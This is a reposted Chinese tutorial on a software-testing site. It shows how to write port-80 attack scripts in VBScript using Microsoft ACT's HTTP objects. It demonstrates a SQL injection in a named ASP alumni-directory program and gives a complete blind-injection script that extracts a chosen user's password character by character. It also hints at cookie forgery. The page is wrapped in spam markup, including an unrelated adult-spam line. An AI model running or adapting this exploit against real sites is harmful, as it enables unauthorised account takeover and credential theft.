• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
    • 軟件測試技術
    • 軟件測試博客
    • 軟件測試視頻
    • 開源軟件測試技術
    • 軟件測試論壇
    • 軟件測試沙龍
    • 軟件測試資料下載
    • 軟件測試雜志
    • 軟件測試人才招聘
      暫時沒有公告

    字號: | 推薦給好友 上一篇 | 下一篇

    用vbs來寫sql注入等80端口的攻擊腳本

    發布: 2008-8-04 10:42 | 作者: 網絡轉載 | 來源: 測試時代采編 | 查看: 296次 | 進入軟件測試論壇討論

    領測軟件測試網

    昨天晚上在機器里亂翻時無意打開一個vbs腳本,突然發現一個以前沒有見過的對象Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),雖然對象沒有見過,但是意思很明顯:發送http請求。本來以為是WMI script API的東東,但是沒有找到創建對象的語句,這個腳本在Microsoft ACT里,Microsoft ACT是Visual Studio.Net帶的一個測試站點的工具(Long,未來有用過這個嗎?如果沒有,你看這個如何?),以前打開過,但是沒有研究過如何使用,于是我打開幫助文件(查過MSDN里有:ms-help://MS.VSCC/MS.MSDNVS.2052/act/htm/actml_main.htm),大致的讀了一下,竟然是一整套的HTTP客戶端對象(不知道這樣說是不是準確),把對象和屬性列出來,你看了就可以知道了,以下是Test對象模型,還有個application對象模型,如果你有深入了解的興趣請看msdn,我還在學習中:
    -Connection對象
    Close方法
    Send方法
    IsOpen屬性
    Port屬性
    RedirectDepth屬性
    Server屬性
    UseSSL屬性
    -Cookie對象//因為是測試站點的,用腳本程序模擬多用戶,這個可以用來設置每個用戶的cookie,那也該可以用來做手腳,呵呵
    Expires屬性
    Name屬性
    Path屬性
    &#118alue屬性
    -Cookies對象
    Add方法
    Remove方法
    RemoveAll方法
    Count屬性
    Item屬性
    -Header對象
    Name屬性
    &#118alue屬性
    -Request對象
    Body屬性
    CodePage屬性
    EncodeBody屬性
    EncodeQueryAsUTF8屬性
    Headers屬性
    HTTPVersion屬性
    Path屬性
    ResponseBufferSize屬性
    Verb屬性
    -Response對象
    Body屬性 //獲取 HTTP 響應的正文。僅返回響應緩沖區中的正文部分。
    CodePage屬性
    BytesRecv屬性
    BytesSent屬性
    ContentLength屬性
    Headers屬性
    HeaderSize屬性
    HTTPVersion屬性
    Path屬性
    Port屬性
    ResultCode屬性
    HTTP狀態代碼
    Server屬性
    TTFB屬性
    TTLB屬性
    UseSSl屬性
    -Test對象
    CreateConnection方法
    CreateRequest方法
    GetCurrentUser方法
    GetGlobalIndex方法
    GetGlobalVariable方法
    GetNextUser方法
    IncrementGlobalIndex方法
    SendRequest方法
    SetGlobalIndex方法
    SetGlobalVariable方法
    Sleep方法
    Trace方法
    TraceLevel屬性
    -User對象
    Cookies屬性
    Name屬性
    Password屬性
    到此,你也許會想到很多用處,比如測試站點,測試服務器,測試程序,Cookie偽造...看你的想象力了,我第一件感興趣的是開頭提到的那句:Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),Test對象的SendRequest方法說明:
    oResponse = Test.SendRequest(strURL)
    參數:strURL as string:表示所請求的URL
    返回值:oResponse As Reponse:表示代表響應請求的Web服務器響應的對象(就是上面的Response對象)
    這個對象讓我們可以很容易的寫出針對80端口的攻擊程序,如溯雪的功能,現在流行sql injection,網上的sql injection的攻擊程序大都用perl寫的,我又不會perl,用C寫一個完整的socket程序相對煩瑣一些,是這個對象為vbs提供了可能,而且程序相當簡單,雖然犧牲了效率,但是對于我們菜鳥不失為一個好辦法,下面就舉一個例子來說明:

    風月同學錄是一套免費的asp同學錄程序,可能你沒有聽說過,不過在同學錄類的免費web程序中算是功能出色的了,所以有不少站點采用了或者修改后使用了它(我念過的那所高中的網站的同學錄就是用的這套程序改寫的),我手上有V1.60,去年從網上down下來的,寫這篇時在寢室,上不了網,也無法得到最新的版本了,反正也只是個例子,就湊合用吧,呵呵。大致看了一些代碼發現多處可以注入的地方,最明顯(因為在首頁就看到)的就是它的一個論壇形式的留言板ShowThread.asp里:

    ...
    topicid=request("RootID")
    sql="select topic,hits from bbs
    where parentid=0 and bbsid="&topicid
    set rs=conn.execute(sql)
    ...

    非常古老且經典的一個,呵呵,試了下:
    http://192.168.101.16/txl/
    ShowThread.asp?RootID=7%20and%201=1
    http://192.168.101.16/txl/
    ShowThread.asp?RootID=7%20and%201=2
    數據表結構我都知道,用戶名也都可以在用戶列表看出來,那么這個例子就演示一下猜解密碼,什么?太簡單了?只是個例子嘛,別笑哦~~寫的時候也不是一帆風順~~寫的很差,尤其循環里如果探測到正確的就應該退出循環,但是想不起來怎么退出了(break?exit?),不過對于這個密碼明文存放的程序來說已經夠了,一個6位的密碼用了15秒左右猜出,改進下會提高不少,但效率上始終和perl不能比了。
    要使用這個對象要裝Microsoft ACT是Visual Studio.Net里一個工具,我在另一臺機器上直接用regsrv32注冊相關的dll失敗了,所以還是要裝一下。

    *********************************************
    風月同學錄V1.60漏洞測試腳本 by luoluo
    注意:需要裝Visual Studio.Net里的ACT工具
    *********************************************
    Option Explicit
    On Error Resume Next

    Dim Test
    Dim o_Response
    Dim Wrong
    Dim i,j,k
    Dim pwd_len
    Dim pwd
    Dim strings
    Dim username

    從命令行得到要破解的人的用戶名
    If WScript.Arguments.Count > 0 Then
    username = WScript.Arguments(0)
    Else
    username = "luoluo"
    End If

    WScript.Echo "開始探測,請等待... ..."

    正確頁面的標志,這個隨便找的,因為只要是兩個頁面返回的不同部分就可以了
    Wrong = "luoluoisachinesehacker"
    存放密碼
    pwd = ""
    密碼的字符范圍
    strings = "0123456789abcdefghijklmnopqrstuvwxyz"

    建立對象
    Set Test = CreateObject("ACT.Test")

    得到用戶的密碼的長度
    For i = 0 to 128 step 1
    發送請求,返回一個Response對象,地址長可以用&分成段,那樣好看一些
    Set o_Response = Test.SendRequest
    ("http://192.168.101.16/txl/ShowThread.asp?RootID
    =7%20and%20exists%20
    (select%20userid%20from%20student%20where%20len
    (userpwd)=" & i & "%20and%20userid=" & username & ")")

    如果返回的頁面里有正確標志那么長度就對了
    If instr(o_Response.Body, Wrong) <> 0 Then
    pwd_len = "" & i & ""
    End If
    Next

    猜解用戶的密碼
    For j = 1 to pwd_len step 1
    For k = 1 to len(strings) step 1
    Set o_Response = Test.SendRequest
    ("http://192.168.101.16/txl/ShowThread.asp?
    RootID=7%20and%20exists%20
    (select%20userid%20from%20student%20where%20left
    (userpwd," & j & ")=" & pwd & mid(strings,k,1)
    & "%20and%20userid=" & username & ")")

    If instr(o_Response.Body, Wrong) <> 0 Then
    pwd = pwd & mid(strings,k,1)
    End If
    Next
    Next

    If err Then
    WScript.Echo "錯誤:" & Error.Description
    Error.Clear
    Else
    輸出密碼
    WScript.Echo "密碼:" & pwd
    End If

    Set Test = nothing

    延伸閱讀

    文章來源于領測軟件測試網 http://www.kjueaiud.com/

    TAG: sql SQL Sql 端口 攻擊 腳本 vbs


    關于領測軟件測試網 | 領測軟件測試網合作伙伴 | 廣告服務 | 投稿指南 | 聯系我們 | 網站地圖 | 友情鏈接
    版權所有(C) 2003-2010 TestAge(領測軟件測試網)|領測國際科技(北京)有限公司|軟件測試工程師培訓網 All Rights Reserved
    北京市海淀區中關村南大街9號北京理工科技大廈1402室 京ICP備10010545號-5
    技術支持和業務聯系:info@testage.com.cn 電話:010-51297073

    軟件測試 | 領測國際ISTQBISTQB官網TMMiTMMi認證國際軟件測試工程師認證領測軟件測試網

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>